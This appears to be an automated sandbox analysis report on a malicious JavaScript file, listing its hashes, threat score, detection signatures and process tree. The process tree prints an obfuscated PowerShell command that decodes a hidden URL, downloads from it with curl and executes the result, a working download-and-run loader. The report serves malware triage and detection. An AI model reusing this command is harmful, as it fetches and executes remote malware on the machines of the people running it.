Analysis
-
max time kernel
119s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240729-en -
resource tags
-
submitted
21-12-2024 15:19
General
-
Target
951ea46c0075499ef18d4b51d67c7bcc4cb6cefae82db68b29d0625d325d0d29.js
-
Size
160KB
-
MD5
e8b7eb90845f2e4667edad25ecfa7488
-
SHA1
fded98e96a81430d7ee9bf152265686dc41664b7
-
SHA256
951ea46c0075499ef18d4b51d67c7bcc4cb6cefae82db68b29d0625d325d0d29
-
SHA512
6d024f5530b8d0049808994dfcbc8de70926f3c18a73dcaf1590b51b721b50db0385cde64c891fb7770c064d8c18577faa810a3738d74e7e9ad4befc922bf32b
-
SSDEEP
1536:nwXiZJUXWrCcPefYKs6sJUXWrCMPefYKs6ePefYKs66JUXWrCHJUXWrC8:ntIQKs6vQKs6vQKs6h
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\951ea46c0075499ef18d4b51d67c7bcc4cb6cefae82db68b29d0625d325d0d29.js1⤵
-
C:\Windows\system32\conhost.execonhost --headless powershell $qyimduzfxvo='ur' ;new-alias printout c$($qyimduzfxvo)l;$goepvu=(3402,3413,3421,3405,3407,3402,3422,3421,3426,3359,3421,3355,3402,3350,3420,3415,3416,3351,3353,3350,3416,3408,3416,3367,3419,3365,3413,3409,3414,3420,3419,3354,3353);$ifuexoytbd=('bronx','get-cmdlet');$rnhjouzwyidkex=$goepvu;foreach($yartfmwiov in $rnhjouzwyidkex){$jbaykowprlmc=$yartfmwiov;$iwmpkfescbo=$iwmpkfescbo+[char]($jbaykowprlmc-3304);$cvloefwshr=$iwmpkfescbo; $zxpeyutksi=$cvloefwshr};$sbauhwnflx[2]=$zxpeyutksi;$eynwvzaft='rl';$daqlbsxuzwf=1;.$([char](9992-9887)+'e'+'x')(printout -useb $zxpeyutksi)1⤵
- Process spawned unexpected child process